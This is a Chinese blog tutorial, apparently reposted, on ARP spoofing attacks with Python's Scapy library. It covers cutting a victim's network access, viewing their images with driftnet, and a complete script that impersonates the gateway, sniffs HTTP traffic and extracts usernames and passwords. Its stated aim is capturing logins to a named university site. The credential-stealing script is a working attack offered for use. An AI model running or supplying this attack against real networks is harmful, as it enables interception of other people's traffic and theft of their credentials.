ARP攻击

首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的,

这里我用kali做攻击者,xp做受害者

关于Scapy

Scapy是一个功能强大的交互式数据包操作程序。它能够伪造或解码大量协议的数据包,通过线路发送它们,捕获它们,匹配请求和回复等等。它可以轻松处理大多数经典任务,如扫描,跟踪路由,探测,单元测试,攻击或网络发现(它可以取代hping,85%的nmap,arpspoof,arp-sk,arping,tcpdump,tethereal,p0f等)。它还能在许多其他工具无法处理的其他特定任务中表现良好,例如发送无效帧,注入自己的802.11帧,组合技术(VLAN跳跃+ ARP缓存中毒,WEP加密通道上的VOIP解码,...... )等。

首先我们学习下Scapy的几个函数用法,

getmacbyip----查找ip的Mac地址

get_if_hwaddr----查找网卡的Mac地址

看下图:受害者的ip地址为192.168.122.136,网关是192.168.122.2,攻击者ip:192.168.122.129

ARP攻击_第1张图片

ARP攻击_第2张图片

关于ARP欺骗
由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗。

 ARP攻击_第3张图片

 

本来受害者是通过将请求发给网关,然后网关去访问外面,这里ARP欺骗是将攻击者Mac地址假装成网关的Mac地址,完成ARP欺骗

 

 了解ARP

ARP攻击_第4张图片

我们需要用到的是下边5个,

op---   接收包数(默认为1)

hwsrc---    仿作的Mac地址(也就是攻击者的Mac地址)

psrc---   网关的ip地址

hwsrc---    受害者的Mac地址

pdst ---     受害者的ip地址

 

ARP攻击_第5张图片

因为是以太网,因此要了解下Ether()

三个参数,目的主机MAC地址,攻击者Mac地址,

部分代码:

ARP攻击_第6张图片

这里包的地方有个/号

这是将两者连接的意思,例子如下:

 ARP攻击_第7张图片

 接下来构造一直发送请求,来认识sendp

sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs)

x为包,inter为请求间隔,iface为网络接口

 完整代码:

ARP攻击_第8张图片

这时我们来测试一下

不开启ARP欺骗,ping是畅通的

ARP攻击_第9张图片

开启后:

ARP攻击_第10张图片

ARP攻击_第11张图片

要想恢复通讯,改一下网关所指的Mac地址

将pack包里边的psrc改为网关Mac :gmac即可

 这里仅仅只能让受将害者断网,要想进一步学习

来举个例子

 接收受害者的图片

用到的  软件 driftnet

开启ip转发代码

sysctl net.ipv4.ip_forward=1

 

再输入driftnet,打开窗口

然候在受害者电脑上打开图片链接,即可在driftnet里边显示

快去试试吧!

 

scapy使用入门

启动
直接执行scapy启动交互式CLI界面。
在脚本中:from scapy.all import *

常用命令
ls()
常用的有ARP、Ether、ICMP、IP、UDP、TCP,也支持SNMP、DHCP、STP等。
ls(IP)
查看IP包结构
lsc()
查看支持的命令
构造报文
//类型+字段,缺省的不用设置
a=IP(dst="172.16.1.40")

 


查看报文内容
// 查看特定字段
>>> a.dst
'172.16.1.40'

//查看IP全部字段
>>> a.show()
###[ IP ]###
version=4
ihl= None
tos=0x0
len= None
id=1
flags=
frag=0
ttl=64
proto= ip
chksum= None
src=10.1.159.51
dst=172.16.1.40
\options\

// 多层报文
>>> a= Ether(dst='001122334455')/IP(dst='2.2.2.2')/TCP(dport=23)
>>> a.show()
###[ Ethernet ]###
dst=001122334455
src=00:1c:c4:aa:c9:36
type=0x800
###[ IP ]###
version=4
ihl= None
tos=0x0
len= None
id=1
flags=
frag=0
ttl=64
proto= tcp
chksum= None
src=10.1.159.51
dst=2.2.2.2
\options\
###[ TCP ]###
sport= ftp_data
dport= telnet
seq=0
ack=0
dataofs= None
reserved=0
flags= S
window=8192
chksum= None
urgptr=0
options= {}

发送报文

>>> send(a,iface="eth1")
.
Sent 1 packets.

接收报文
>>> a=sniff(filter="icmp and host 10.1.159.71", count=2)
>>> a.show()
0000 Ether / IP / ICMP 10.1.159.71 > 10.1.159.51 echo-request 0 / Raw
0001 Ether / IP / ICMP 10.1.159.51 > 10.1.159.71 echo-reply 0 / Raw
>>> a[1]
>>>

发送和接收报文
// 发送ICMP请求,接收应答
>>> a = sr(IP(dst="10.1.159.71")/ICMP())
Begin emission:
....Finished to send 1 packets.
*
Received 5 packets, got 1 answers, remaining 0 packets
>>> a[0]

>>> a[1]

>>> a[0].show()
0000 IP / ICMP 10.1.159.51 > 10.1.159.71 echo-request 0 ==> IP / ICMP 10.1.159.71 > 10.1.159.51 echo-reply 0 / Padding

读取cap内容
>>> d = rdpcap("./test.cap")
>>> d

>>> d.show()
0000 Ether / IP / TCP 10.1.159.51:ssh > 10.7.244.6:65464 PA / Raw
0001 Ether / IP / TCP 10.7.244.6:65464 > 10.1.159.51:ssh A / Padding
0002 802.3 00:25:83:b8:8f:83 > 01:00:0c:cc:cc:cd / LLC / SNAP / STP / Raw

 

 

 

Python实现ARP欺骗

实验目的:局域网段扫描,利用arp欺骗抓包获取用户名密码,我选择的是截获被攻击者登录http://oa.nwu.edu.cn/网站的登录信息;
**ARP欺骗原理:**:局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。
ARP攻击的两种类型:
主机型ARP欺骗:
在这里插入图片描述
2、网关型ARP欺骗:
在这里插入图片描述

实验步骤:
其中,主要用到的语法公式如下:
pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址)

1、局域网扫描:找到当前局域网内活跃的主机,代码如下:

def scan():
ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/16'),timeout=1)
print('一共扫描到%d个主机:'%len(ans))
print(ans)

SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list;

2、ARP攻击:此次攻击使用多进程,每隔0.2s发一次arp攻击,攻击者伪装成网关,截获被攻击主机的TCP请求报文,通过爬虫,输出用户名以及密码;

发送ARP攻击数据包代码如下:

#局域网段扫描,抓包获取密码 author=肖俊怡

import time
import re
import os
from scapy.all import *
from threading import Thread

#定义变量函数
wifi = 'Intel(R) Dual Band Wireless-AC 7265'
rtable = os.popen('route print').read()
#print(rtable)
#注意将列表转为字符串
getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0]
#print(getway)

#局域网扫描
def scan():

#SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list
#公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)
print('一共扫描到%d个主机:'%len(ans))
for i in ans:
print(i)

#找用户名和密码
def paw(p):
try:
if p.haslayer(Raw):
ss=p.load.decode()
result=re.findall(r'userName=(.+)&passWord=(.+)',ss)
if result:
print('user:',result[0][0])
print('pass:',result[0][1])
except:
pass

#抓包
def capture(tip,tcap):
#冒充自己为网关
pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)

#arp欺骗攻击
def arpspoof(tip,tcap):
t = Thread(target=capture,args=(tip,tcap))
t.start()
for i in range(tcap*5):
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))
time.sleep(0.2)



if __name__ == '__main__':
scan()
target = input('输入要攻击的ip地址:').strip()
tl = int(input('输入要准备攻击的时间:').strip())
arpspoof(target,tl)
print('攻击结束!')
---------------------

转载于:https://www.cnblogs.com/liuhongru/p/11011934.html

你可能感兴趣的:(ARP攻击)